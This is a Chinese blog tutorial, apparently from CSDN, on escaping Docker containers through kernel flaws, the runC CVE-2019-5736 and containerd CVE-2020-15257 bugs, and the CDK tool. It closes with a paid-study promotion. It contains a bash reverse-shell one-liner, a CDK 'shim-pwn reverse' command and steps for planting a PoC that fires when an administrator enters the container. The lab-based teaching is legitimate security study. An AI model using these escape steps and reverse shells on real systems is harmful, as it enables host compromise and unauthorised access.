云上攻防-云原生篇&Docker安全&系统内核&版本漏洞&CDK自动利用&容器逃逸

知识点

1、云原生-Docker安全-容器逃逸&内核漏洞
2、云原生-Docker安全-容器逃逸&版本漏洞
3、云原生-Docker安全-容器逃逸&CDK自动化

章节点:

云场景攻防:公有云,私有云,混合云,虚拟化集群,云桌面等
云厂商攻防:阿里云,腾讯云,华为云,亚马云,谷歌云,微软云等
云服务攻防:对象存储,云数据库,弹性计算服务器,VPC&RAM等
云原生攻防:Docker,Kubernetes(k8s),容器逃逸,CI/CD等

1、Docker是干嘛的?

一个容器技术,类似于VM虚拟机,别人环境封装好打包成一个镜像,使用docker技术就能快速把这个镜像环境还原出来。

2、Docker对于渗透测试影响?

攻击者攻击虚拟空间磁盘,拿到最高权限也是虚拟空间的权限,而不是真实物理环境的权限

![在这里插入图片描述](https://img-
blog.csdnimg.cn/direct/78db0f09aa7a46ecb9e5e2608e3ecc20.png)

3、前渗透-判断是否在容器中

前提:拿到权限
https://blog.csdn.net/qq_23936389/article/details/131486643

方式一:查询cgroup信息

最简单精准的方式就是查询系统进程的cgroup信息,通过响应的内容可以识别当前进程所处的运行环境,就可以知道是在虚拟机、docker还是kubepods里。

cat /proc/1/cgroup

docker 环境下:
![在这里插入图片描述](https://img-
blog.csdnimg.cn/direct/0ae7ff1f08a44af6aef012da1db44f94.png)
K8s环境下:
![在这里插入图片描述](https://img-
blog.csdnimg.cn/direct/45a7009328784a64bc65385aa2a1d08a.png)

方式二:检查/.dockerenv文件

通过判断根目录下的 .dockerenv文件是否存在,可以简单的识别docker环境。
K8s&docker环境下:

ls -alh /.dockerenv 

可以找到文件。
![在这里插入图片描述](https://img-
blog.csdnimg.cn/direct/8ad96ffd1dec432dad0fb94562419a6f.png)

方式三:查看端口运行情况
netstat -anpt

![在这里插入图片描述](https://img-
blog.csdnimg.cn/direct/6155df256d2d417ab9a30b5a5c163d08.png)

4、后渗透-三种安全容器逃逸

特权模式启动导致(不安全启动,适用于java jsp高权限入口无需提权 低权限入口还要提权才能逃逸)
危险挂载启动导致(危险启动,适用于java jsp高权限入口无需提权 低权限入口还要提权才能逃逸)
docker自身版本漏洞&系统内核漏洞(软件版本漏洞和系统漏洞 高低权限都可用)

参考地址:https://wiki.teamssix.com/CloudNative/

一、演示案例-云原生-Docker安全-容器逃逸&系统内核漏洞

细节部分在权限提升章节会详解,常用:

CVE-2016-5195 CVE-2019-16884 CVE-2021-3493 
CVE-2021-22555 CVE-2022-0492 CVE-2022-0847 CVE-2022-23222

二、演示案例-云原生-Docker安全-容器逃逸&docker版本漏洞

CVE-2019-5736 runC容器逃逸(需要管理员配合触发)

影响版本:

Docker version <= 18.09.2
RunC version <= 1.0-rc6

![在这里插入图片描述](https://img-
blog.csdnimg.cn/direct/9efa84a00fbd429fb13a49e060135ece.png)

1、安装docker对应版本
apt-get update

apt-get install -y apt-transport-https ca-certificates curl software-properties-common

curl -fsSL https://download.docker.com/linux/ubuntu/gpg | sudo apt-key add -

add-apt-repository "deb [arch=amd64] https://download.docker.com/linux/ubuntu $(lsb_release -cs) stable"

apt-get update

apt-cache madison docker-ce

apt-get install docker-ce=18.06.1~ce~3-0~ubuntu

![在这里插入图片描述](https://img-
blog.csdnimg.cn/direct/ae0fedca8d58490fb86a865d62735ea5.png)
![在这里插入图片描述](https://img-
blog.csdnimg.cn/direct/017b4951add84ef4b5685e1d1dc02204.png)

2、启动靶场环境测试
docker run -itd --cap-add=SYS_ADMIN ubuntu:latest

![在这里插入图片描述](https://img-
blog.csdnimg.cn/direct/d6ad7137db174e7481d9934a00558732.png)
![在这里插入图片描述](https://img-
blog.csdnimg.cn/direct/39c6ff3667fc462e946fb912352565e3.png)

3、编译修改后EXP后等待管理员进入容器执行

https://github.com/Frichetten/CVE-2019-5736-PoC
![在这里插入图片描述](https://img-
blog.csdnimg.cn/direct/9bb38975d629478089f496b56d3e1ac5.png)
![在这里插入图片描述](https://img-
blog.csdnimg.cn/direct/c6a2d7ae2fd84b0f8d0246b965e9c0ff.png)
![在这里插入图片描述](https://img-
blog.csdnimg.cn/direct/f94bd0b8271a44d2966cad49e3b1c7fa.png)

bash -c 'exec bash -i >& /dev/tcp/127.0.0.1/8080 0>&1'

修改完毕后,要把这个main.go编译成main文件
![在这里插入图片描述](https://img-
blog.csdnimg.cn/direct/87182173280b49eb87d738fb5694e914.png)

CGO_ENABLED=0 GOOS=linux GOARCH=amd64 go build main.go

![在这里插入图片描述](https://img-
blog.csdnimg.cn/direct/7b202394c9d840258abf1e86d4571023.png)
![在这里插入图片描述](https://img-
blog.csdnimg.cn/direct/8b2a438f40964e33b46f848ce9040c37.png)
![在这里插入图片描述](https://img-
blog.csdnimg.cn/direct/46001dc12af74f2ab304add4ff0ae924.png)

docker cp main 7f4793f3ac0cd13:/

![在这里插入图片描述](https://img-
blog.csdnimg.cn/direct/fc1abdd8af9c481e8ac61e66a9378c49.png)
![在这里插入图片描述](https://img-
blog.csdnimg.cn/direct/2391d5194c35441aa7c7d60de8804675.png)

chmod 777 main

![在这里插入图片描述](https://img-
blog.csdnimg.cn/direct/7e181d4dce7d46bcb3126287ccb33107.png)
执行main文件

./main

![在这里插入图片描述](https://img-
blog.csdnimg.cn/direct/5d68f9cb7db4479aa9f3ef6db63e733c.png)
真实系统管理员重新进入该容器触发反弹shell

docker exec -it 7f4793f3ac0cd13 /bin/bash

![在这里插入图片描述](https://img-
blog.csdnimg.cn/direct/30200830b5f24429a398f8bd40ab72bd.png)
![在这里插入图片描述](https://img-
blog.csdnimg.cn/direct/e0fd2420ad4e45b784581cb2646da4e3.png)
![在这里插入图片描述](https://img-
blog.csdnimg.cn/direct/375a794448f64d86892e999d24935dcf.png)

4、实验获取云服务器上docker搭建的Web权限后进行逃逸
docker run -it -p 8888:8080 vulhub/struts2:s2-053

![在这里插入图片描述](https://img-
blog.csdnimg.cn/direct/c5bb3f31cc2149d19de9ee30a7507264.png)
![在这里插入图片描述](https://img-
blog.csdnimg.cn/direct/d541e411b8b54c588013911650179b77.png)
![在这里插入图片描述](https://img-
blog.csdnimg.cn/direct/4211e68dab5644e8aa7f3500c529496a.png)
该工具只能上传脚本文件目录,没法上传一些执行程序,需要拿到webshell利用webshell链接工具上传执行程序。

查看当前网站目录
![在这里插入图片描述](https://img-
blog.csdnimg.cn/direct/5f5a5466ced246a19e26832e979195a8.png)
![在这里插入图片描述](https://img-
blog.csdnimg.cn/direct/125b752ec653401cb987efd9e9003407.png)
![在这里插入图片描述](https://img-
blog.csdnimg.cn/direct/c47820864a1a44bcbb3068ea5d3e78d5.png)
![在这里插入图片描述](https://img-
blog.csdnimg.cn/direct/5548f032525f44b9922ccd4f04a7e686.png)
![在这里插入图片描述](https://img-
blog.csdnimg.cn/direct/78e2567131a8413d8bf7f08f6c33064b.png)
![在这里插入图片描述](https://img-
blog.csdnimg.cn/direct/a4ef9213860f4475a0da50ff427825de.png)
![在这里插入图片描述](https://img-
blog.csdnimg.cn/direct/1078eee45ca14a02a3957316edb1dff6.png)
![在这里插入图片描述](https://img-
blog.csdnimg.cn/direct/1a4605f1d75841998a2876852f548ff7.png)
![在这里插入图片描述](https://img-
blog.csdnimg.cn/direct/10c4204da21b4ddbbe3bd9fd12f12cff.png)

CVE-2020-15257 containerd逃逸(启动容器时有前提参数)

影响版本:

containerd < 1.4.3
containerd < 1.3.9
1、安装docker对应版本
apt-get update

apt-get install ca-certificates curl software-properties-common

curl -fsSL https://download.docker.com/linux/ubuntu/gpg | apt-key add -

add-apt-
repository "deb [arch=amd64] https://download.docker.com/linux/ubuntu xenial stable"
apt-get update

apt-cache madison docker-ce

apt-get install docker-ce=5:19.03.6~3-0~ubuntu-xenial docker-ce-cli=5:19.03.6~3-0~ubuntu-xenial containerd.io=1.2.4-1
2、启动环境测试:
docker pull ubuntu:18.04
docker run -itd --net=host ubuntu:18.04 /bin/bash  //--net=host是前提条件,不加这个参数启动的docker没有这个漏洞
docker exec -it 5be3ed60f152 /bin/bash

![在这里插入图片描述](https://img-
blog.csdnimg.cn/direct/d2827ed263d541ad8158a8cea6c475bf.png)

3、上传CDK工具自动逃逸反弹

![在这里插入图片描述](https://img-
blog.csdnimg.cn/direct/9476f82aff4d436eae11f5aca40e4df1.png)

docker cp cdk_linux_amd64 8e7c27d7b98ca32927:/tmp

![在这里插入图片描述](https://img-
blog.csdnimg.cn/direct/60321d48c09049968793c7015522ddc5.png)

chmod 777 cdk_linux_amd64
./cdk_linux_amd64 run shim-pwn reverse xx.xx.xx.xx xxxx  //这是指定漏洞利用
./cdk_linux_amd64 auto-escape id //自动化漏洞扫描

![在这里插入图片描述](https://img-
blog.csdnimg.cn/direct/21ff4a1cf17e488c9c99a1b0e2872af3.png)
![在这里插入图片描述](https://img-
blog.csdnimg.cn/direct/1c1dfe5e03794ca793daa2962862f8e9.png)

4、实验获取到docker搭建的Web权限后进行逃逸

![在这里插入图片描述](https://img-
blog.csdnimg.cn/direct/6c9bbca0939547939e83f6496fdc483f.png)
![在这里插入图片描述](https://img-
blog.csdnimg.cn/direct/bed5ca0485c34c34936322dcbfddc2d1.png)
![在这里插入图片描述](https://img-
blog.csdnimg.cn/direct/4e24dec5c3134df49fbb08f5919906ad.png)
![在这里插入图片描述](https://img-
blog.csdnimg.cn/direct/752ef483f6c3428db2cba141ae58bf4c.png)
![在这里插入图片描述](https://img-
blog.csdnimg.cn/direct/a1dbcc8c6f8f485ba6622e0b730379e0.png)
![在这里插入图片描述](https://img-
blog.csdnimg.cn/direct/c784e54bc84749719ff4a21ebcd7a819.png)

三、演示案例-云原生-Docker安全-容器逃逸&CDK自动化

项目地址

https://github.com/cdk-team/CDK
不支持系统内核漏洞
![在这里插入图片描述](https://img-
blog.csdnimg.cn/direct/b70f1a3534b1451f9ce19f11ff19ed54.png)

![在这里插入图片描述](https://img-
blog.csdnimg.cn/direct/e4006ce554b5489295973768b6ad5607.png)

演示-特权模式

![在这里插入图片描述](https://img-
blog.csdnimg.cn/direct/2c176fd67094438fa73fd2184a9f9241.png)
![在这里插入图片描述](https://img-
blog.csdnimg.cn/direct/3050a01934464610bb2fc70690cea6ea.png)
![在这里插入图片描述](https://img-
blog.csdnimg.cn/direct/7c94a2a0c3d5484fa6f50a9c6b51a468.png)
![在这里插入图片描述](https://img-
blog.csdnimg.cn/direct/6eb57c26c6ac48b1aa3aff3e89b980e1.png)
![在这里插入图片描述](https://img-
blog.csdnimg.cn/direct/30632e6ad6074bdbad16b451623f2329.png)
![在这里插入图片描述](https://img-
blog.csdnimg.cn/direct/b6e337b9e2874f6aa5e6c74d13e63600.png)
![在这里插入图片描述](https://img-
blog.csdnimg.cn/direct/ac2ed3c627a1438287814b6d7ed37c77.png)
![在这里插入图片描述](https://img-
blog.csdnimg.cn/direct/c0bc4d66216442e484f0c211433b32fc.png)
也可以指定漏洞利用
![在这里插入图片描述](https://img-
blog.csdnimg.cn/direct/2eea5e7015e246d7a93ba746c250e608.png)
![在这里插入图片描述](https://img-
blog.csdnimg.cn/direct/6083372eb9704c8b8738819844f195a6.png)
![在这里插入图片描述](https://img-
blog.csdnimg.cn/direct/b6e96c8443714074b850c892738152c2.png)
![在这里插入图片描述](https://img-
blog.csdnimg.cn/direct/70dcffbfa1de4f9b930a7e4db27ef75a.png)
![在这里插入图片描述](https://img-
blog.csdnimg.cn/direct/3d6a4909b08f4a868dabd85bd89aeffe.png)

接下来我将给各位同学划分一张学习计划表!

学习计划

那么问题又来了,作为萌新小白,我应该先学什么,再学什么?
既然你都问的这么直白了,我就告诉你,零基础应该从什么开始学起:

阶段一:初级网络安全工程师

接下来我将给大家安排一个为期1个月的网络安全初级计划,当你学完后,你基本可以从事一份网络安全相关的工作,比如渗透测试、Web渗透、安全服务、安全分析等岗位;其中,如果你等保模块学的好,还可以从事等保工程师。

综合薪资区间6k~15k

1、网络安全理论知识(2天)
①了解行业相关背景,前景,确定发展方向。
②学习网络安全相关法律法规。
③网络安全运营的概念。
④等保简介、等保规定、流程和规范。(非常重要)

2、渗透测试基础(1周)
①渗透测试的流程、分类、标准
②信息收集技术:主动/被动信息搜集、Nmap工具、Google Hacking
③漏洞扫描、漏洞利用、原理,利用方法、工具(MSF)、绕过IDS和反病毒侦察
④主机攻防演练:MS17-010、MS08-067、MS10-046、MS12-20等

3、操作系统基础(1周)
①Windows系统常见功能和命令
②Kali Linux系统常见功能和命令
③操作系统安全(系统入侵排查/系统加固基础)

4、计算机网络基础(1周)
①计算机网络基础、协议和架构
②网络通信原理、OSI模型、数据转发流程
③常见协议解析(HTTP、TCP/IP、ARP等)
④网络攻击技术与网络安全防御技术
⑤Web漏洞原理与防御:主动/被动攻击、DDOS攻击、CVE漏洞复现

5、数据库基础操作(2天)
①数据库基础
②SQL语言基础
③数据库安全加固

6、Web渗透(1周)
①HTML、CSS和JavaScript简介
②OWASP Top10
③Web漏洞扫描工具
④Web渗透工具:Nmap、BurpSuite、SQLMap、其他(菜刀、漏扫等)

那么,到此为止,已经耗时1个月左右。你已经成功成为了一名“脚本小子”。那么你还想接着往下探索吗?

阶段二:中级or高级网络安全工程师(看自己能力)

综合薪资区间15k~30k

7、脚本编程学习(4周)
在网络安全领域。是否具备编程能力是“脚本小子”和真正网络安全工程师的本质区别。在实际的渗透测试过程中,面对复杂多变的网络环境,当常用工具不能满足实际需求的时候,往往需要对现有工具进行扩展,或者编写符合我们要求的工具、自动化脚本,这个时候就需要具备一定的编程能力。在分秒必争的CTF竞赛中,想要高效地使用自制的脚本工具来实现各种目的,更是需要拥有编程能力。

零基础入门的同学,我建议选择脚本语言Python/PHP/Go/Java中的一种,对常用库进行编程学习
搭建开发环境和选择IDE,PHP环境推荐Wamp和XAMPP,IDE强烈推荐Sublime;

Python编程学习,学习内容包含:语法、正则、文件、 网络、多线程等常用库,推荐《Python核心编程》,没必要看完

用Python编写漏洞的exp,然后写一个简单的网络爬虫

PHP基本语法学习并书写一个简单的博客系统

熟悉MVC架构,并试着学习一个PHP框架或者Python框架 (可选)

了解Bootstrap的布局或者CSS。

阶段三:顶级网络安全工程师

如果你对网络安全入门感兴趣,那么你需要的话可以点击这里👉网络安全重磅福利:入门&进阶全套282G学习资源包免费分享!

学习资料分享

当然,只给予计划不给予学习资料的行为无异于耍流氓,这里给大家整理了一份【282G】的网络安全工程师从入门到精通的学习资料包,可点击下方二维码链接领取哦。

  • 15
    点赞
  • 20
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值